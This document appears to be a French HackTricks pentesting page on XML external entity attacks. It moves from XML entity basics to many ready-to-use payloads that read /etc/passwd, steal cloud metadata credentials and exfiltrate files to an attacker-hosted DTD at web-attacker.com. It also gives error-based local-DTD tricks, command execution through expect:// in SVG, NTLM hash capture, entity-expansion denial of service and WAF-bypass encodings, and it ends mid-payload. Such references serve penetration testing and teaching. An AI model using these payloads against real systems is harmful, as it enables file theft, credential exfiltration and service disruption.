hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

761 lines
41 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# XXE - XEE - Entité Externe XML
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Une attaque par entité externe XML est un type d'attaque contre une application qui analyse les entrées XML.
## Bases de XML
**La plupart de cette partie a été prise de cette incroyable page Portswigger :** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
### Qu'est-ce que le XML ? <a href="#what-is-xml" id="what-is-xml"></a>
XML signifie "extensible markup language". XML est un langage conçu pour stocker et transporter des données. Comme HTML, XML utilise une structure arborescente de balises et de données. Contrairement à HTML, XML n'utilise pas de balises prédéfinies, et donc les balises peuvent être nommées pour décrire les données. Plus tôt dans l'histoire du web, XML était à la mode comme format de transport de données (le "X" dans "AJAX" signifie "XML"). Mais sa popularité a maintenant décliné en faveur du format JSON.
### Quelles sont les entités XML ? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a>
Les entités XML sont un moyen de représenter un élément de données au sein d'un document XML, au lieu d'utiliser les données elles-mêmes. Diverses entités sont intégrées à la spécification du langage XML. Par exemple, les entités `&lt;` et `&gt;` représentent les caractères `<` et `>`. Ce sont des métacaractères utilisés pour dénoter les balises XML, et doivent donc généralement être représentés en utilisant leurs entités lorsqu'ils apparaissent dans les données.
### Quels sont les éléments XML ?
Les déclarations de type d'élément définissent les règles pour le type et le nombre d'éléments qui peuvent apparaître dans un document XML, quels éléments peuvent apparaître les uns dans les autres, et dans quel ordre ils doivent apparaître. Par exemple :
* `<!ELEMENT stockCheck ANY>` Signifie que n'importe quel objet pourrait être à l'intérieur du parent `<stockCheck></stockCheck>`
* \<!ELEMENT stockCheck EMPTY> Signifie qu'il doit être vide `<stockCheck></stockCheck>`
* \<!ELEMENT stockCheck (productId,storeId)> Déclare que `<stockCheck>` peut avoir les enfants `<productId>` et `<storeId>`
### Qu'est-ce que la définition de type de document ? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a>
La définition de type de document XML (DTD) contient des déclarations qui peuvent définir la structure d'un document XML, les types de valeurs de données qu'il peut contenir, et d'autres éléments. La DTD est déclarée dans l'élément `DOCTYPE` optionnel au début du document XML. La DTD peut être entièrement autonome dans le document lui-même (connue sous le nom de "DTD interne") ou peut être chargée d'ailleurs (connue sous le nom de "DTD externe") ou peut être un hybride des deux.
### Quelles sont les entités XML personnalisées ? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a>
XML permet de définir des entités personnalisées au sein de la DTD. Par exemple :
`<!DOCTYPE foo [ <!ENTITY myentity "ma valeur d'entité" > ]>`
Cette définition signifie que toute utilisation de la référence d'entité `&myentity;` dans le document XML sera remplacée par la valeur définie : "`ma valeur d'entité`".
### Quelles sont les entités externes XML ? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
Les entités externes XML sont un type d'entité personnalisée dont la définition se trouve à l'extérieur de la DTD où elles sont déclarées.
La déclaration d'une entité externe utilise le mot-clé `SYSTEM` et doit spécifier une URL à partir de laquelle la valeur de l'entité doit être chargée. Par exemple :
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
L'URL peut utiliser le protocole `file://`, et donc les entités externes peuvent être chargées à partir d'un fichier. Par exemple :
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///chemin/vers/fichier" > ]>`
Les entités externes XML fournissent le principal moyen par lequel les [attaques par entité externe XML](https://portswigger.net/web-security/xxe) se produisent.
### Quelles sont les entités de paramètre XML ?
Parfois, les attaques XXE utilisant des entités régulières sont bloquées, en raison d'une certaine validation des entrées par l'application ou d'un renforcement de l'analyseur XML utilisé. Dans cette situation, vous pourriez être en mesure d'utiliser des entités de paramètre XML à la place. Les entités de paramètre XML sont un type spécial d'entité XML qui ne peut être référencé qu'ailleurs dans la DTD. Pour nos besoins actuels, vous n'avez besoin de savoir que deux choses. Premièrement, la déclaration d'une entité de paramètre XML inclut le caractère pourcentage avant le nom de l'entité :
`<!ENTITY % myparameterentity "ma valeur d'entité de paramètre" >`
Et deuxièmement, les entités de paramètre sont référencées en utilisant le caractère pourcentage au lieu de l'esperluette habituelle : `%myparameterentity;`
Cela signifie que vous pouvez tester pour le XXE aveugle en utilisant la détection hors bande via les entités de paramètre XML comme suit :
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
2023-06-03 13:10:46 +00:00
Cette charge utile XXE déclare une entité de paramètre XML appelée `xxe` et utilise ensuite l'entité dans la DTD. Cela provoquera une recherche DNS et une requête HTTP vers le domaine de l'attaquant, vérifiant que l'attaque a réussi.
2023-06-03 13:10:46 +00:00
## Attaques principales
[La plupart de ces attaques ont été testées en utilisant les excellents laboratoires XEE de Portswiggers : https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
### Test de nouvelle entité
Dans cette attaque, je vais tester si une simple nouvelle déclaration d'ENTITÉ fonctionne
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
2023-06-03 13:10:46 +00:00
### Lire un fichier
Essayons de lire `/etc/passwd` de différentes manières. Pour Windows, vous pourriez essayer de lire : `C:\windows\system32\drivers\etc\hosts`
Dans ce premier cas, remarquez que SYSTEM "_**file:///**_etc/passwd_" fonctionnera également.
```markup
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
```markdown
Ce deuxième cas devrait être utile pour extraire un fichier si le serveur web utilise PHP (Pas le cas des laboratoires Portswigger)
```
```markup
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Dans ce troisième cas, remarquez que nous déclarons l'`Element stockCheck` comme ANY
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (222) (1).png>)
### Énumération des répertoires
2021-08-03 11:46:59 +00:00
Dans les applications basées sur **Java**, il pourrait être possible de **lister le contenu d'un répertoire** via XXE avec une charge utile comme (en demandant simplement le répertoire au lieu du fichier) :
2021-08-03 11:46:59 +00:00
```markup
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
2022-09-30 10:43:59 +00:00
### SSRF
Un XXE pourrait être utilisé pour abuser d'un SSRF à l'intérieur d'un cloud
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
2023-06-03 13:10:46 +00:00
### SSRF aveugle
En utilisant la **technique précédemment commentée**, vous pouvez amener le serveur à accéder à un serveur que vous contrôlez pour montrer sa vulnérabilité. Mais, si cela ne fonctionne pas, peut-être est-ce parce que les **entités XML ne sont pas autorisées**, dans ce cas, vous pourriez essayer d'utiliser des **entités de paramètres XML** :
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Exfiltration de données out-of-band
**Pour cette occasion, nous allons faire en sorte que le serveur charge une nouvelle DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de les exfiltrer via** _**ftp://**_**). Cette explication est tirée du** [**laboratoire de Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.**
2023-06-03 13:10:46 +00:00
Un exemple de DTD malveillante pour exfiltrer le contenu du fichier `/etc/hostname` est le suivant :
```markup
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Ce DTD effectue les étapes suivantes :
2023-06-03 13:10:46 +00:00
* Définit une entité de paramètre XML appelée `file`, contenant le contenu du fichier `/etc/passwd`.
* Définit une entité de paramètre XML appelée `eval`, contenant une déclaration dynamique d'une autre entité de paramètre XML appelée `exfiltrate`. L'entité `exfiltrate` sera évaluée en effectuant une requête HTTP vers le serveur web de l'attaquant contenant la valeur de l'entité `file` dans la chaîne de requête de l'URL.
* Utilise l'entité `eval`, ce qui provoque l'exécution de la déclaration dynamique de l'entité `exfiltrate`.
* Utilise l'entité `exfiltrate`, de sorte que sa valeur est évaluée en demandant l'URL spécifiée.
L'attaquant doit ensuite héberger le DTD malveillant sur un système qu'il contrôle, normalement en le chargeant sur son propre serveur web. Par exemple, l'attaquant pourrait servir le DTD malveillant à l'URL suivante :\
`http://web-attacker.com/malicious.dtd`
2023-06-03 13:10:46 +00:00
Enfin, l'attaquant doit soumettre la charge utile XXE suivante à l'application vulnérable :
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ce payload XXE déclare une entité de paramètre XML appelée `xxe` puis utilise l'entité dans la DTD. Cela amènera l'analyseur XML à récupérer la DTD externe depuis le serveur de l'attaquant et à l'interpréter en ligne. Les étapes définies dans la DTD malveillante sont ensuite exécutées, et le fichier `/etc/passwd` est transmis au serveur de l'attaquant.
### Basé sur l'erreur (DTD externe)
**Dans ce cas, nous allons faire en sorte que le serveur charge une DTD malveillante qui affichera le contenu d'un fichier à l'intérieur d'un message d'erreur (ceci est seulement valide si vous pouvez voir les messages d'erreur).** [**Exemple d'ici.**](https://portswigger.net/web-security/xxe/blind)
Vous pouvez déclencher un message d'erreur d'analyse XML contenant le contenu du fichier `/etc/passwd` en utilisant une DTD externe malveillante comme suit :
```markup
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```
Ce DTD effectue les étapes suivantes :
2023-06-03 13:10:46 +00:00
* Définit une entité de paramètre XML appelée `file`, contenant le contenu du fichier `/etc/passwd`.
* Définit une entité de paramètre XML appelée `eval`, contenant une déclaration dynamique d'une autre entité de paramètre XML appelée `error`. L'entité `error` sera évaluée en chargeant un fichier inexistant dont le nom contient la valeur de l'entité `file`.
* Utilise l'entité `eval`, ce qui provoque la déclaration dynamique de l'entité `error`.
* Utilise l'entité `error`, de sorte que sa valeur est évaluée en tentant de charger le fichier inexistant, résultant en un message d'erreur contenant le nom du fichier inexistant, qui est le contenu du fichier `/etc/passwd`.
Invoquez l'erreur DTD externe avec :
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Et vous devriez voir le contenu du fichier dans le message d'erreur de la réponse du serveur web.
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (223) (1).png>)
_**Veuillez noter que le DTD externe nous permet d'inclure une entité à l'intérieur de la seconde (****`eval`****), mais cela est interdit dans le DTD interne. Par conséquent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (habituellement).**_
### **Error Based (system DTD)**
Alors, que faire avec les vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?. [Informations d'ici](https://portswigger.net/web-security/xxe/blind).
Dans cette situation, il peut encore être possible de **déclencher des messages d'erreur contenant des données sensibles**, en raison d'une faille dans la spécification du langage XML. Si le **DTD d'un document utilise un hybride de déclarations DTD internes et externes**, alors le **DTD interne peut redéfinir des entités qui sont déclarées dans le DTD externe**. Lorsque cela se produit, la restriction sur l'utilisation d'une entité de paramètre XML à l'intérieur de la définition d'une autre entité de paramètre est assouplie.
Cela signifie qu'un attaquant peut employer la technique XXE basée sur l'erreur **depuis un DTD interne**, à condition que l'entité de paramètre XML qu'ils utilisent soit **redéfinissant une entité qui est déclarée dans un DTD externe**. Bien sûr, si les connexions hors bande sont bloquées, alors le DTD externe ne peut pas être chargé depuis un emplacement distant. Au lieu de cela, il doit s'agir d'un **fichier DTD externe qui est local au serveur d'application**. _Essentiellement, l'attaque implique d'invoquer un fichier DTD qui se trouve exister sur le système de fichiers local et de le réutiliser pour redéfinir une entité existante d'une manière qui déclenche une erreur d'analyse contenant des données sensibles._
Par exemple, supposons qu'il y a un fichier DTD sur le système de fichiers du serveur à l'emplacement `/usr/local/app/schema.dtd`, et que ce fichier DTD définit une entité appelée `custom_entity`. Un attaquant peut déclencher un message d'erreur d'analyse XML contenant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit :
```markup
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
Ce DTD effectue les étapes suivantes :
2023-06-03 13:10:46 +00:00
* Définit une entité de paramètre XML appelée `local_dtd`, contenant le contenu du fichier DTD externe qui existe sur le système de fichiers du serveur.
* Redéfinit l'entité de paramètre XML appelée `custom_entity`, qui est déjà définie dans le fichier DTD externe. L'entité est redéfinie comme contenant l'[exploit XXE basé sur les erreurs](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) qui a déjà été décrit, pour déclencher un message d'erreur contenant le contenu du fichier `/etc/passwd`.
* Utilise l'entité `local_dtd`, de sorte que le DTD externe soit interprété, y compris la valeur redéfinie de l'entité `custom_entity`. Cela aboutit au message d'erreur souhaité.
**Exemple réel :** Les systèmes utilisant l'environnement de bureau GNOME ont souvent un DTD à `/usr/share/yelp/dtd/docbookx.dtd` contenant une entité appelée `ISOamso`.
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)
Comme cette technique utilise une **DTD interne, vous devez d'abord en trouver une valide**. Vous pourriez faire cela en **installant** le même **système d'exploitation / logiciel** que le serveur utilise et en **recherchant des DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'une d'entre elles existe :
```markup
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
2023-06-03 13:10:46 +00:00
### Trouver des DTDs dans le système
Dans le dépôt github suivant, vous pouvez trouver **les chemins des DTDs qui peuvent être présents dans le système** :
2021-05-01 17:36:21 +00:00
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
2021-05-01 17:36:21 +00:00
De plus, si vous avez **l'image Docker du système victime**, vous pouvez utiliser l'outil du même dépôt pour **scanner** l'**image** et **trouver** le chemin des **DTDs** présents dans le système. Lisez le [Readme du github](https://github.com/GoSecure/dtd-finder) pour apprendre comment faire.
2021-05-01 17:36:21 +00:00
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
```
### XXE via les parseurs Office Open XML
2021-05-01 17:36:21 +00:00
Pour une explication plus approfondie de cette attaque, **consultez la deuxième section de [cet excellent article](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) de Detectify**.
La capacité à **téléverser des documents Microsoft Office est proposée par de nombreuses applications web**, qui extraient ensuite certains détails de ces documents. Par exemple, une application web peut permettre aux utilisateurs d'importer des données en téléversant un tableau au format XLSX. Pour que le parseur puisse extraire les données du tableau, il devra inévitablement analyser au moins un fichier XML.
Pour tester cette vulnérabilité, il est nécessaire de créer un **fichier Microsoft Office contenant une charge utile XXE**. La première étape consiste à créer un répertoire vide dans lequel le document peut être décompressé.
Une fois le document décompressé, le fichier XML situé à `./unzipped/word/document.xml` doit être ouvert et édité dans un éditeur de texte de prédilection (tel que vim). Le XML doit être modifié pour inclure la charge utile XXE désirée, souvent en commençant par une requête HTTP.
Les lignes XML modifiées doivent être insérées entre les deux objets racine XML. Il est important de remplacer l'URL par une URL monitorable pour les requêtes.
Enfin, le fichier peut être recompressé pour créer le fichier poc.docx malveillant. Depuis le répertoire "unzipped" précédemment créé, la commande suivante doit être exécutée :
Maintenant, le fichier créé peut être téléversé sur l'application web potentiellement vulnérable, et l'on peut espérer qu'une requête apparaisse dans les journaux de Burp Collaborator.
2021-05-01 17:36:21 +00:00
### Protocole Jar:
Le protocole `jar` est disponible uniquement sur les **applications Java**. Il permet d'accéder aux fichiers à l'intérieur d'un fichier **PKZIP** (`.zip`, `.jar`, ...) et fonctionne pour les fichiers locaux et distants :
```
2021-05-01 17:36:21 +00:00
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP est **extrêmement utile pour abuser de XXE via les fichiers DTD système.** Consultez [cette section pour apprendre à abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
2021-05-01 17:36:21 +00:00
{% endhint %}
#### En coulisse
2021-05-01 17:36:21 +00:00
2023-06-03 13:10:46 +00:00
1. Il effectue une requête HTTP pour charger l'archive zip. `https://download.host.com/myarchive.zip`
2. Il enregistre la réponse HTTP dans un emplacement temporaire. `/tmp/...`
3. Il extrait l'archive.
4. Il lit le `file.zip`
5. Il supprime les fichiers temporaires.
2021-05-01 17:36:21 +00:00
Notez qu'il est possible d'arrêter le flux à la deuxième étape. L'astuce consiste à ne jamais fermer la connexion lors de la fourniture du fichier. [Ces outils peuvent être utiles](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) : un en python `slow_http_server.py` et un en java `slowserver.jar`.
2021-05-01 17:36:21 +00:00
Une fois que le serveur a téléchargé votre fichier, vous devez trouver son emplacement en parcourant le répertoire temporaire. Étant aléatoire, le chemin du fichier ne peut pas être prédit à l'avance.
2021-05-01 17:36:21 +00:00
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
2021-05-01 17:36:21 +00:00
{% hint style="danger" %}
Écrire des fichiers dans un répertoire temporaire peut aider à **escalader une autre vulnérabilité impliquant un parcours de chemin** (tel que l'inclusion de fichier local, l'injection de template, le RCE XSLT, la désérialisation, etc).
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
### XSS
```markup
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
2022-09-30 10:43:59 +00:00
### DoS
#### Attaque Billion Laugh
```markup
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
2023-06-03 13:10:46 +00:00
#### Attaque Yaml
```markup
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Attaque par Gonflement Quadratique
![](<../.gitbook/assets/image (531).png>)
#### Obtention de NTML
Sur les hôtes Windows, il est possible d'obtenir le hash NTML de l'utilisateur du serveur web en configurant un gestionnaire responder.py :
```
Responder.py -I eth0 -v
```
2023-06-03 13:10:46 +00:00
et en envoyant la requête suivante
```
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Ensuite, vous pouvez essayer de craquer le hash en utilisant hashcat
## Surfaces XXE cachées
2022-09-30 10:43:59 +00:00
### XInclude
[Depuis ici.](https://portswigger.net/web-security/xxe)
Certaines applications **reçoivent des données soumises par le client, les intègrent côté serveur dans un document XML, puis analysent le document**. Un exemple de cela se produit lorsque des données soumises par le client sont placées dans une **requête SOAP backend**, qui est ensuite traitée par le service SOAP backend.
Dans cette situation, vous ne pouvez pas réaliser une attaque XXE classique, car **vous ne contrôlez pas l'ensemble du document XML** et donc ne pouvez pas définir ou modifier un élément `DOCTYPE`. Cependant, vous pourriez être en mesure d'utiliser `XInclude` à la place. `XInclude` fait partie de la spécification XML qui permet à un document XML d'être construit à partir de sous-documents. Vous pouvez placer une attaque `XInclude` dans n'importe quelle valeur de données dans un document XML, donc l'attaque peut être réalisée dans des situations où vous ne contrôlez qu'un seul élément de données qui est placé dans un document XML côté serveur.
Pour réaliser une attaque `XInclude`, vous devez référencer l'espace de noms `XInclude` et fournir le chemin vers le fichier que vous souhaitez inclure. Par exemple :
```markup
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
### SVG - Téléversement de fichier
[D'ici.](https://portswigger.net/web-security/xxe)
Certaines applications permettent aux utilisateurs de téléverser des fichiers qui sont ensuite traités côté serveur. Certains formats de fichiers courants utilisent XML ou contiennent des sous-composants XML. Des exemples de formats basés sur XML sont les formats de documents de bureau comme DOCX et les formats d'images comme SVG.
Par exemple, une application pourrait permettre aux utilisateurs de **téléverser des images**, et de les traiter ou de les valider sur le serveur après leur téléversement. Même si l'application s'attend à recevoir un format comme PNG ou JPEG, **la bibliothèque de traitement d'images utilisée pourrait supporter les images SVG**. Puisque le format SVG utilise XML, un attaquant peut soumettre une image SVG malveillante et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.
```markup
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Vous pourriez également essayer d'**exécuter des commandes** en utilisant le wrapper PHP "expect" :
```markup
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
**Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra À L'INTÉRIEUR de l'image créée. Vous devez donc être capable d'accéder à l'image que SVG a créée.**
### **PDF - Téléversement de fichier**
2020-10-15 13:16:06 +00:00
Lisez le post suivant pour **apprendre à exploiter une XXE en téléversant un fichier PDF** :
2020-10-15 13:16:06 +00:00
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
2020-10-15 13:16:06 +00:00
2023-06-03 13:10:46 +00:00
### Content-Type : De x-www-urlencoded à XML
Si une requête POST accepte les données au format XML, vous pourriez essayer d'exploiter une XXE dans cette requête. Par exemple, si une requête normale contient ce qui suit :
```markup
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Alors, vous pourriez soumettre la requête suivante, avec le même résultat :
```markup
2020-11-18 00:58:54 +08:00
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type : De JSON à XEE
Pour modifier la requête, vous pourriez utiliser une extension Burp nommée "**Content Type Converter**". [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html), vous pouvez trouver cet exemple :
```markup
Content-Type: application/json;charset=UTF-8
2020-11-20 10:55:52 +00:00
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
```markup
Content-Type: application/xml;charset=UTF-8
2020-11-20 10:55:52 +00:00
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
Un autre exemple est disponible [ici](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## Contournement des WAF & Protections
2022-09-30 10:43:59 +00:00
### Base64
```markup
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
2023-06-03 13:10:46 +00:00
Cela ne fonctionne que si le serveur XML accepte le protocole `data://`.
2022-09-30 10:43:59 +00:00
### UTF-7
Vous pouvez utiliser la \[**"Encode Recipe**" de cyberchef ici ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) pour transformer en UTF-7.
```markup
<!xml version="1.0" encoding="UTF-7"?-->
